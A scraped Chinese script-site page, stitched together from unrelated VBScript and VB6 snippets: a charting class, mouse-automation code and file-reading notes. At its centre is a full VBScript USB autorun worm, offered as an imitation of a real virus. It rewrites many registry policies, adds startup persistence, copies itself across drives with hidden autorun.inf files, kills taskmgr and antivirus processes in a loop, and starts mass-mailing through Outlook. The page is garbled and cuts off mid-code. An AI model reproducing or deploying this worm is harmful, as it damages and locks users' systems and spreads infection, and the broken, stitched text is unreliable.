免费辅助脚本平台游戏下载下来如何使用

发布时间:2020-06-27 来源:脚本之家 点击:


  下面以具体例子说明如何用SendMessage实现“剪切”、“复制”、“粘贴”、“撤消”和“删除”功能:
  在窗体中放置一个文本框Text1和五个按钮,分别执行以上五种功能,编写以下程序特殊文件夹名称用于索引该集合以检索所需的特殊文件夹,文档中列出了下面的特殊文件夹:

AllUsersDesktop
AllUsersStartMenu
AllUsersPrograms
AllUsersStartup
Desktop
Favorites
Fonts
MyDocuments
NetHood
PrintHood
Programs
Recent
SendTo
StartMenu
Startup
Templates
不过今天在用OllyDbg调试VBS的时候,发现文档中少写了一个AppData文件夹,作文以记之

楚留香脚本

''OWC1.VBS
class owc
private o
'傳入物件
public sub create(id_,width_,height_,location_)
Set o=document.createElement("object")
o.setAttribute "id",id_
o.setAttribute "classid","CLSID:0002E55D-0000-0000-C000-000000000046"
o.setAttribute codebase="owc11.dll"
o.style.width=width_
o.style.height=height_
document.getElementById(location_).appendChild(o)
end sub
'畫圖矩形圖
'chart_bgcolor_圖表的背景顏色
'chartCaption_圖表的標題
'chartCaption_fontColor_圖表標題顏色
'Interior_Color_矩形內的填充顏色
'Caption_名稱
'categories_名稱數組
'values_值數組串
public sub bar(chart_bgcolor_,chartCaption_,chartCaption_fontColor_,Interior_Color_,Caption_,categories_,values_)
o.Clear
set cht=o.Charts.Add
set c=o.Constants
cht.Type=c.chChartTypeColumnClustered
'設背景色或是填充
o.Charts(0).PlotArea.Interior.SetSolid chart_bgcolor_

'加上圖表的標題
o.HasChartSpaceTitle=True
set cst=o.ChartSpaceTitle
cst.Caption=chartCaption_
cst.Font.Color=chartCaption_fontColor_
cst.Font.Italic=False
cst.Font.Name="Arial"
cst.Font.Size=12
cst.Font.Underline=c.owcUnderlineStyleSingle

'添加數據
cht.SetData c.chDimCategories, c.chDataLiteral, categories_
cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_
'直條的背景色進行設定
set sc=o.Charts(0).SeriesCollection(0)
sc.Interior.Color=Interior_Color_

'直條上的顯示設置
sc.Caption=Caption_
set dl=cht.SeriesCollection(0).DataLabelsCollection.Add
dl.HasValue=True
dl.HasPercentage=False
dl.Font.Size=9
dl.Font.Color="red"
dl.Position=c.chLegendPositionRight
dl.NumberFormat="00.00%"
'左邊百分比的屬性設置
Set cta=cht.Axes(c.chAxisPositionLeft)
cta.Font.Size=9
cta.NumberFormat="0.0%"
cta.MajorUnit=0.1
end sub
'多系列矩形圖
'chart_bgColor_圖表的背景顏色
'chartCaption_圖表的標題
'chartCaption_fontColor_圖表標題顏色
'color_顏色數組
'caption_名稱數組
'categories_名稱數組
'values_值數組
public sub serBar(chart_bgColor_,chartCaption_,chartCaption_fontColor_,color_,caption_,categories_,values_)
o.Clear
o.Charts.Add
Set c=o.Constants
'圖表的類型
o.Charts(0).type=c.chChartTypeColumnClustered
'給繪圖區加背景色
o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_
''加上圖表的標題
o.HasChartSpaceTitle=True
o.ChartSpaceTitle.Caption=chartCaption_
'標題的屬性
o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_
o.ChartSpaceTitle.Font.Italic=False
o.ChartSpaceTitle.Font.Name="Arial"
o.ChartSpaceTitle.Font.Size=12
o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle
'用循環來新增SeriesCollection以及里面的內容
for i=0 to ubound(caption_)
valuetemp=""
for j=i*(ubound(categories_)+1) to (i+1)*(ubound(categories_)+1)-1
valuetemp=valuetemp & "," & values_(j)
next
valuearr=split(mid(valuetemp,2),",")
o.Charts(0).SeriesCollection.Add
o.Charts(0).SeriesCollection(i).Caption=caption_(i)
o.Charts(0).SeriesCollection(i).Interior.Color=color_(i)
o.Charts(0).SeriesCollection(i).SetData c.chDimCategories, c.chDataLiteral, categories_
o.Charts(0).SeriesCollection(i).SetData c.chDimValues, c.chDataLiteral, valuearr
set dl=o.Charts(0).SeriesCollection(i).DataLabelsCollection.Add
dl.HasValue=True
dl.HasPercentage=False
dl.Font.Size=9
dl.Font.Color="red"
dl.Position=c.chLegendPositionRight
dl.NumberFormat="00.00%"
next
''圖例的設定
o.Charts(0).HasLegend=True
o.Charts(0).Legend.Font.Size=9
o.Charts(0).Legend.Position=c.chLegendPositionBottom
''左邊百分比的屬性設置
Set cta=o.Charts(0).Axes(c.chAxisPositionLeft)
cta.Font.Size=9
cta.NumberFormat="0.00%"
cta.MajorUnit=0.1
end sub
'畫圓餅圖
'chart_bgColor_繪圖區加背景色
'chartCaption_圖表的標題
'chartCaption_fontColor_圖表標題顏色
public sub Pie(chart_bgColor_,chartCaption_,chartCaption_fontColor_,Caption_,categories_,values_)
o.Clear
Set cht=o.Charts.Add
Set c=o.Constants
cht.Type=c.chChartTypePie3d
'給繪圖區加背景色
o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_
cht.ExtrudeAngle=90
cht.ChartDepth=169
cht.AspectRatio=120
cht.Rotation=180
cht.Inclination=70

o.HasChartSpaceTitle=True
o.ChartSpaceTitle.Caption=chartCaption_
o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_
o.ChartSpaceTitle.Font.Name="Arial"
o.ChartSpaceTitle.Font.Size=12
o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle

cht.HasLegend=True
cht.Legend.Font.Size=9
cht.Legend.Position=c.chLegendPositionBottom

cht.SetData c.chDimCategories, c.chDataLiteral, categories_
cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_
set sc=o.Charts(0).SeriesCollection(0)
sc.Caption=Caption_
Set dl=cht.SeriesCollection(0).DataLabelsCollection.Add
dl.Separator=":"
dl.HasValue=false
dl.HasSeriesName=false
dl.HasCategoryName=true
dl.HasPercentage=true
dl.Font.Size=9
dl.Font.Color="red"
dl.NumberFormat="00.00%"
end sub
'拆線圖
'chart_bgColor_繪圖區加背景色
'chartCaption_圖表的標題
'chartCaption_fontColor_圖表標題顏色
public sub line(chart_bgColor_,chartCaption_,chartCaption_fontColor_,Caption_,categories_,values_)
o.Clear
Set cht=o.Charts.Add
Set c=o.Constants
cht.Type=c.chChartTypeLineMarkers
'給繪圖區加背景色
o.Charts(0).PlotArea.Interior.SetSolid chart_bgColor_
o.HasChartSpaceTitle=True
o.ChartSpaceTitle.Caption=chartCaption_
o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_
o.ChartSpaceTitle.Font.Name="Arial"
o.ChartSpaceTitle.Font.Size=12
o.ChartSpaceTitle.Font.Underline=c.owcUnderlineStyleSingle

cht.SetData c.chDimCategories, c.chDataLiteral, categories_
cht.SeriesCollection(0).SetData c.chDimValues, c.chDataLiteral, values_

set sc=o.Charts(0).SeriesCollection(0)
sc.Caption=Caption_
Set dl=cht.SeriesCollection(0).DataLabelsCollection.Add
dl.HasValue=True
dl.HasPercentage=False
dl.Font.Size=9
dl.Font.Color="red"

Set categoryAxis=cht.Axes(c.chAxisPositionBottom)
categoryAxis.Font.Size=9

Set categoryAxis=cht.Axes(c.chAxisPositionLeft)
categoryAxis.Font.Size=9
end sub
'多系列拆線圖
'chart_bgColor_圖表的背景顏色
'chartCaption_圖表的標題
'chartCaption_fontColor_圖表標題顏色
'color_顏色數組
'caption_名稱數組
'categories_名稱數組
'values_值數組
public sub serLine(chart_bgColor_,chartCaption_,chartCaption_fontColor_,color_,SeriesNames_,categories_,values_)
o.Clear
Set cht=o.Charts.Add
Set c=o.Constants
'設置圖表類型
cht.Type=c.chChartTypeLineMarkers
'給繪圖區加背景色
o.Charts(0).PlotArea.Interior.Color=chart_bgColor_
'加上標題
o.HasChartSpaceTitle=True
o.ChartSpaceTitle.Caption=chartCaption_
o.ChartSpaceTitle.Font.Color=chartCaption_fontColor_
o.ChartSpaceTitle.Font.Name="Arial"
o.ChartSpaceTitle.Font.Size=12
''添加數據
cht.SetData c.chDimSeriesNames, c.chDataLiteral, SeriesNames_
cht.SetData c.chDimCategories, c.chDataLiteral, Categories_

set categoryAxis=cht.Axes(c.chAxisPositionBottom)
categoryAxis.Font.Size=9

Set categoryAxis=cht.Axes(c.chAxisPositionLeft)
categoryAxis.Font.Size=9

for i=0 to ubound(SeriesNames_)
valuetemp=""
for j=i*(ubound(Categories_)+1) to (i+1)*(ubound(Categories_)+1)-1
valuetemp=valuetemp & "," & values_(j)
next
valuearr=split(mid(valuetemp,2),",")
cht.SeriesCollection(i).SetData c.chDimValues, c.chDataLiteral, valuearr
cht.SeriesCollection(i).Line.Color=color_(i)
cht.SeriesCollection(i).Line.Weight=c.owcLineWeightThin
cht.SeriesCollection(i).Marker.Style=c.chMarkerStyleDiamond
cht.SeriesCollection(i).Interior.Color=color_(i)
Set dl=cht.SeriesCollection(i).DataLabelsCollection.Add
dl.HasValue=true
dl.HasPercentage=false
dl.Font.Size=9
dl.font.color="red"
next
end sub
'清除圖型
public sub clear()
o.Clear
end sub
end class

'以下程式在.bas
TypeRECT
LeftAsLong
ToPAsLong
RightAsLong
BottomAsLong
EndType
TypePOINTAPI
XAsLong
YAsLong
EndType

DeclareFunctionSetCursorPosLib"user32"(ByValXAsLong,ByValYAsLong)AsLong
DeclareFunctionGetWindowRectLib"user32"(ByValhwndAsLong,lpRectAsRECT)AsLong
DeclareSubSleepLib"kernel32"(ByValdwMillisecondsAsLong)

PublicSubMoveCursor(FromPAsPOINTAPI,ToPAsPOINTAPI)
DimstepxAsLong,stepyAsLong,kAsLong
DimiAsLong,jAsLong,sDelayAsLong
stepx=1
stepy=1
i=(ToP.X-FromP.X)
Ifi<0Thenstepx=-1
i=(ToP.Y-FromP.Y)
Ifi<0Thenstepy=-1
'CallEnableHook'如果有Includehtmapi53.htm的.bas时,会DisableMouse
Fori=FromP.XToToP.XStepstepx
CallSetCursorPos(i,FromP.Y)
Sleep(1)'让Mouse的移动慢一点,这样效果较好
Nexti
Fori=FromP.YToToP.YStepstepy
CallSetCursorPos(ToP.X,i)
Sleep(1)
Nexti
'CallFreeHook'EnableMouse
EndSub
'以下程式在Form中,需3个Command按键
PrivateSubCommand3_Click()
Dimrect5AsRECT
Dimp1AsPOINTAPI,p2AsPOINTAPI
CallGetWindowRect(Command1.hwnd,rect5)'取得Command1相对於Screen的座标
p1.X=(rect5.Left rect5.Right)\2
p1.Y=(rect5.ToP rect5.Bottom)\2
CallGetWindowRect(Command2.hwnd,rect5)
p2.X=(rect5.Left rect5.Right)\2
p2.Y=(rect5.ToP rect5.Bottom)\2

CallMoveCursor(p1,p2)'Mouse由Command1->Command2
EndSub

另外从Showje的站有Copy以下的程式码,也是做相同的果,只是使用的API全部不同

'以下程式在Form中,需2个Command按键
'以下置於form的一般宣告区
PrivateDeclareSubmouse_eventLib"user32"_
(_
ByValdwFlagsAsLong,_
ByValdxAsLong,_
ByValdyAsLong,_
ByValcButtonsAsLong,_
ByValdwExtraInfoAsLong_
)

PrivateDeclareFunctionClientToScreenLib"user32"_
(_
ByValhwndAsLong,_
lpPointAsPOINTAPI_
)AsLong

PrivateDeclareFunctionGetSystemMetricsLib"user32"_
(_
ByValnIndexAsLong_
)AsLong
PrivateDeclareFunctionGetCursorPosLib"user32"_
(_
lpPointAsPOINTAPI_
)AsLong

PrivateTypePOINTAPI
xAsLong
yAsLong
EndType

PrivateTypeOSVERSIONINFO
dwOSVersionInfoSizeAsLong
dwMajorVersionAsLong
dwMinorVersionAsLong
dwBuildNumberAsLong
dwPlatformIdAsLong
szCSDVersionAsString*128
EndType

PrivateConstMOUSEEVENTF_MOVE=&H1'mousemove
PrivateConstMOUSEEVENTF_LEFTDOWN=&H2'leftbuttondown
PrivateConstMOUSEEVENTF_LEFTUP=&H4'leftbuttonup
PrivateConstMOUSEEVENTF_ABSOLUTE=&H8000'absolutemove

PrivateSubCommand1_Click()

DimptAsPOINTAPI
Dimdl&
Dimdestx&,desty&,curx&,cury&
Dimdistx&,disty&
Dimscreenx&,screeny&
Dimfinished
Dimptsperx&,ptspery&

pt.x=10
pt.y=10
dl&=ClientToScreen(Command2.hwnd,pt)

screenx&=GetSystemMetrics(0)'0表x轴

screeny&=GetSystemMetrics(1)'1表y轴

destx&=pt.x*&HFFFF&/screenx&
desty&=pt.y*&HFFFF&/screeny&

ptsperx&=&HFFFF&/screenx&
ptspery&=&HFFFF&/screeny&

'Nowmoveit
Do
dl&=GetCursorPos(pt)
curx&=pt.x*&HFFFF&/screenx&
cury&=pt.y*&HFFFF&/screeny&
distx&=destx&-curx&
disty&=desty&-cury&
If(Abs(distx&)<2*ptsperx&AndAbs(disty&)<2*ptspery)Then
'Closeenough,gotherestoftheway
curx&=destx&
cury&=desty&
finished=True
Else
'Movecloser
curx&=curx& Sgn(distx&)*ptsperx*2
cury&=cury& Sgn(disty&)*ptspery*2
EndIf
mouse_eventMOUSEEVENTF_ABSOLUTE_
OrMOUSEEVENTF_MOVE,curx,cury,0,0
LoopWhileNotfinished

'到家了,按上右键吧!注:是左键,Showje的笔误
'以下是在(curx,cury)的座标下,模拟Mouse左键的downandup
mouse_eventMOUSEEVENTF_ABSOLUTEOr_
MOUSEEVENTF_LEFTDOWN,curx,cury,0,0

mouse_eventMOUSEEVENTF_ABSOLUTEOr_
MOUSEEVENTF_LEFTUP,curx,cury,0,0

EndSub

PrivateSubCommand2_Click()
MsgBox"看你往哪儿逃!哈!!"
EndSub

->

使用过U盘的朋友都知道u盘病毒是一种Autorun自运行病毒,当双击时触发病毒体,会复制自身到CDE和系统盘system32下等盘符,(生成exe文件和一个Autorun.inf文件),同时修改注册表,当点击C盘等盘符右键时,会有一个auto命令(黑色粗体)或者是两个开始命令,本人学习vbs才15天,我也来模拟下这个autorun病毒和部分熊猫烧香功能,本人能力有限,只能模拟这样的病毒了,声明,本人模拟这个病毒,全是为了学习和技术,切忌不要搞破坏,如果有人用本人代码破坏,后果自负onerrorresumenext
dimfso,wsh,myfile,ws,pp,fsoFolder
setwsh=wscript.createobject("wscript.shell")
setfso=wscript.createobject("scripting.filesystemobject")
setmyfile=fso.GetFile(wscript.scriptfullname)
'修改注册表(开始菜单里面的东西和IE各项设置)
wsh.Regwrite"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoFileOpen",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\Advanced",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\CacheInternet",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\AutoConfig",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\History",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\ConnwizAdminLock",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\StartPage",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\SearchPage",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\Default_Page_URL",""
wsh.Regwrite"HKCU\Software\Microsoft\InternetExplorer\Main\Default_Search_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\StartPage",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\Default_Page_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\Default_Search_URL",""
wsh.Regwrite"HKEY_USERS\.DEFAULT\Software\Microsoft\InternetExplorer\Main\SearchPage",""
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\SecurityTab",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\ResetWebSettings",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoViewSource",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Policies\Microsoft\InternetExplorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","c:\NYboy.vbs"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMHelp",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1","REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
wsh.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
'使用户不能通过双击打开硬盘,这里还可以修改为使其不能通过双击打开文件夹,同理,不赘续
wsh.Regwrite"HKLM\SOFTWARE\Classes\Drive\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKCR\Drive\shell","auto"
wsh.Regwrite"HKCR\Drive\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKLM\SOFTWARE\Classes\Directory\shell","auto"
wsh.Regwrite"HKCR\Directory\shell\auto\command","C:\NYboy.bat'%1'"
wsh.Regwrite"HKLM\SOFTWARE\Classes\Directory\shell\auto\command","C:\NYboy.bat'%1'"
'修改默认文件图标 这里可以换成可爱的熊猫哦
wsh.Regwrite"HKCR\exefile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\txtfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\dllfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\batfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKCR\inifile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\exefile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\txtfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\dllfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\batfile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\SOFTWARE\Classes\inifile\DefaultIcon","c:\1.ico"
wsh.Regwrite"HKLM\Software\CLASSES\.reg","txtfile"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你好啊,大兵和你开个小小的玩笑"
wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","你已经中毒了,赶快杀毒或者与QQ252287438联系"
'复制自身到C,D,E,F,U盘
myfile.copy"c:"
myfile.copy"D:"
myfile.copy"E:"
myfile.copy"F:"
myfile.copy"I:"
myfile.attributes=34
'定义Autorun.inf的内容 这个就是u盘病毒必须的代码部分 这里可以简单写
Iffso.FileExists("C:\autorun.inf")Then
SetobjFolder=fso.GetFile("C:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>C:\autorun.inf"_
&"&&echoopen=NYboy.bat>>C:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>C:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>C:\autorun.inf"_
&"&&echoshell=Auto>>C:\autorun.inf"_
&"&&attrib+h+s+rC:\autorun.inf"
setautobatc=fso.createtextfile("c:\NYboy.bat",1,ture)
autobatc.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("D:\autorun.inf")Then
SetobjFolder=fso.GetFile("D:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>D:\autorun.inf"_
&"&&echoopen=NYboy.bat>>D:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>D:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>D:\autorun.inf"_
&"&&echoshell=Auto>>D:\autorun.inf"_
&"&&attrib+h+s+rD:\autorun.inf"
setautobatd=fso.createtextfile("D:\NYboy.bat",1,ture)
autobatd.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("E:\autorun.inf")Then
SetobjFolder=fso.GetFile("E:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>E:\autorun.inf"_
&"&&echoopen=NYboy.bat>>E:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>E:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>E:\autorun.inf"_
&"&&echoshell=Auto>>E:\autorun.inf"_
&"&&attrib+h+s+rE:\autorun.inf"
setautobate=fso.createtextfile("E:\NYboy.bat",1,ture)
autobate.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("F:\autorun.inf")Then
SetobjFolder=fso.GetFile("F:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>F:\autorun.inf"_
&"&&echoopen=NYboy.bat>>F:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>F:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>F:\autorun.inf"_
&"&&echoshell=Auto>>F:\autorun.inf"_
&"&&attrib+h+s+rF:\autorun.inf"
setautobatf=fso.createtextfile("F:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
EndIf
Iffso.FileExists("I:\autorun.inf")Then
SetobjFolder=fso.GetFile("I:\autorun.inf")
Else
wsh.run"cmd/cecho[AutoRun]>>I:\autorun.inf"_
&"&&echoopen=NYboy.bat>>I:\autorun.inf"_
&"&&echoshellexecute=NYboy.bat>>I:\autorun.inf"_
&"&&echoshell\Auto\command=NYboy.bat>>I:\autorun.inf"_
&"&&echoshell=Auto>>I:\autorun.inf"_
&"&&attrib+h+s+rI:\autorun.inf"
setautobatf=fso.createtextfile("I:\NYboy.bat",1,ture)
autobatf.writeline("NYboy.vbs")
EndIf
'设置病毒体属性为 系统 只读 隐藏
wsh.run"cmd/cattrib+h+s+rC:\NYboy.bat"_
&"&&attrib+h+s+rD:\NYboy.bat"_
&"&&attrib+h+s+rE:\NYboy.bat"_
&"&&attrib+h+s+rF:\NYboy.bat"_
&"&&attrib+h+s+rI:\NYboy.bat"
'强制结束某些进程,比如QQ,记事本,网页,批处理文件,卡巴,realplay等进程,运行后打不开这些文件
do
setws=getobject("winmgmts:\\.\root\cimv2")
setpp=ws.execquery("select*fromwin32_processwherename='taskmgr.exe'orName='QQ.exe'orName='notepad.exe'orName='IEXPLORE.exe'orName='cmd.exe'orName='avp.exe'orName='winRAR.exe'orName='realplay.exe'orName='WINWORD.exe'")
foreachiinpp
i.terminate()
wscript.sleep100
next
loop
'使病毒可以靠邮件传播
Setol=CreateObject("Outlook.Application")
OnErrorResumeNext
Forx=1To5
SetMail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗?"
Mail.Body="朋友你好:您的朋友给您发来了热情的邀请笔者用VB6.0通过调用API函数设计应用系统的ABOUT窗口

CopyCount=CopyCount + XCopy(fso, ".\1", ".\2", True)
MsgBox "拷贝了" & CopyCount & "个文件!"

我们要如何去做才能实现类ICQ的欢迎画面呢?这看起来像是件十分复杂的工作,其实,利用了强大的API函数,事情就会变得非常的简单

这篇日志完全是看了一篇日志后的启发,原文为:邪恶的eval和new Functionmysql创建数据库在微软WIN95及最新的WIN98系统中,却是采用注册表来存放应用程序的启动及运行所需的重要参数例如:

setfs=createobject(“scripting.filesystemobject”)

setf=fs.getfile(“c:\1.txt”,1,false)

setts=f.openastextstream(1,0)

dowhilets.atendofstream<>true

f.read(1)

loop



还有一个属性,atendofline,如果已经到了行末尾,这个属性返回true.

Textstream对象还有两个有用的属性,column和line.

在打开一个文件后,行和列指针都被设置为1。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号